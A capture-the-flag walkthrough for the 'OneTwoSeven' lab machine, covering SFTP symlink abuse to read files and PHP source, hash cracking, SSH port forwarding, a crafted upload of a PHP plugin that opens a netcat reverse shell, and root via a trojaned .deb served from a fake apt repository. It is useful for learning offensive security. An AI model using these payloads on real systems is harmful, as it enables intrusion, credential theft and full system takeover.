Tags: , , , , , , , , , , ,

This post is a write-up for the OneTwoSeven box on

OneTwoSeven Info


Start by enumerating the ports on the victim machine. Run Masscan and Nmap, then document the results:

masscan -e tun0 -p1-65535,U:1-65535 --max-rate=500
nmap -n -v -Pn -p80 -A --reason -oN onetwoseven_nmap.txt
Running nmap reveals 2 open ports

Browse to the website, click on sign-up, and it looks like we are able to connect via sftp:

initial credentials

Once connected, find the public_html folder with read and write permissions. The contents of this folder are published under http://onetwoseven.htb/~ots-XXXXXXXX/. Trying to upload php webshells however yields no results, as you are not allowed to view any files with the .php extension in this folder. Read through the sftp “help” and notice that there is a symlink command available to use. Try to symlink a known file:

sftp> symlink /etc/passwd passwd
SFTP commands

When calling “http://onetwoseven.htb/~ots-XXXXXXXX/passwd”, you can get the contents of the file displayed:

Contents of /etc/passwd

Because the web page is written in .php, you can abuse this feature to link the .php files to .html. This should reveal their source code! Since you dont know their directory, just symlink the whole /var/www folder and view the results:

sftp> symlink /var/www www
Directory `/var/www`
Directory `/var/www/html-admin`

Download the .login.php.swp file and look at its contents:

if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {                        $msg = '';          <?php        <h2 class="featurette-heading">Login to the kingdom.

Looks like a login page with a username and hash. Profit! Crack the hash with John:

john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt --rules hash.txt
Output on John bruteforce

John finds the password Homesweethome1. Looking at the original page again, notice there is a link in the source: "http://onetwoseven.htb:60080/".

After logging in over ssh fails with the credentials (because there is no login shell for the user), I realized that I could still use SSH to forward ports. This should allow you to connect to the port listening on localhost. Use dynamic port forwarding and set a socks upstream proxy in Burp Suite:

ssh -D 9090 -N ots-XXXXXXXX@
Burp Suite SOCKS Proxy

Browse to http://localhost:60080 with Burp Suite Intercept Proxy enabled and get to the login page:

admin page

Log into the application with ots-admin:Homesweethome1. Looks like you can run several plugins and a seemingly broken upload form. Every plugin also has a link to download its source. Investigate all the plugins and you should find some useful code in ots-man-addon.php:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
	case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
			$errors= array();
			$file_name = basename($_FILES['addon']['name']);
			$file_size =$_FILES['addon']['size'];
			$file_tmp =$_FILES['addon']['tmp_name'];

			if($file_size > 20000){
				$errors[]='Module too big for addon manager. Please upload manually.';

			if(empty($errors)==true) {
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "File uploaded successfull.y";
			} else {
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "Error uploading the file: ";

This should allow you to upload files, just have to figure out how to call this.

Several items are required to upload a file:

  • You must be logged in
  • You have to call ots-man-addon.php
  • /addons/ must not be part of the request path
  • addon-upload.php must be part of the request path
  • a file called addon must be in the post body

The following request uploads a custom plugin, and when executed via the browser pops a shell:

POST /addon-download.php?addon=addons/ots-man-addon.php&abc123=/addon-upload.php HTTP/1.1
User-Agent: curl/7.64.0
Accept: */*
Cookie: PHPSESSID=ra85breae1b57tdnmkl4it6go2
Content-Length: 499
Content-Type: multipart/form-data; boundary=------------------------8c1bb633500ccc52
Connection: close

Content-Disposition: form-data; name="addon"; filename="/var/www/html/html-admin/addons/ots-abc123.php"
Content-Type: application/octet-stream

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS ABC123
echo shell_exec("nc 443 -e /bin/sh");
Burp Suite addon upload
Initial shell

Unfortunately, there is still no user flag, so continue by trying to root the victim machine. Running sudo -l results in the following:

sudo -l results

This is an interesting find, run sudo apt-get update and notice the mirrors apt tries to resolve:

sudo apt-get update results

So the victim machine is trying pull updates from a custom fqdn packages.onetwoseven.htb. You should be able to trick the victim machine into connecting to a fake repository which contains a fake package, allowing you to get code execution as root. You can redirect the requests from apt-get to your attacking machine simple by specifying a http-proxy:

export http_proxy='http://10.10.xx.xx:10000'  

Setup a fake repo named devuan (because this is the folder the request expects). Use repro to create the repo:

sudo apt-get install reprepro
mkdir devuan
mkdir devuan/conf
touch devuan/conf/distributions
nano devuan/conf/distributions

File distributions:

Origin: packages.onetwoseven.htb
Label: packages.onetwoseven.htb
Codename: ascii
Architectures: i386 amd64 source
Components: main
Description: abc123

Create a fake debian package that will perform code execution. Verasprite has a nice guide that explains the process in detail. Look at the victim machine, and pick any of the packages that are installed:

dpkg -l list

Download the current version of the package and extract it:

dpkg-deb -R wget_1.18-5+deb9u3_amd64.deb wget_out

To perform code execution, add a simple post install script that connects back to your attacking machine in wget_out/DEBIAN/postinst:

nc 80 -e /bin/sh

Edit wget_out/DEBIAN/control and update the version to something newer, in this case 1.18-6+deb9u3:

Evil deb package files

Package up your .deb and add it to the repository:

Packaging up evil deb

Now you have to redirect apt requests to your attacking machine. Setup Burp Suite to listen on and use the redirect traffic proxy listener option to send all traffic to, where you have a python web server running that serves your evil repo.

Trigger the exploit:

sudo apt-get update
sudo apt-get upgrade

On ugrade you should get a verification warning (because your package is not authenticated, obviously) which you can just happily accept the warning. Who actually reads the warnings anyway? After the install is finished it should pop a root shell:

Since I didn’t waste time trying to find a user flag, in the root shell just run cat /srv/chroot/apache/home/web/ots-yODc2NGQ/user.txt.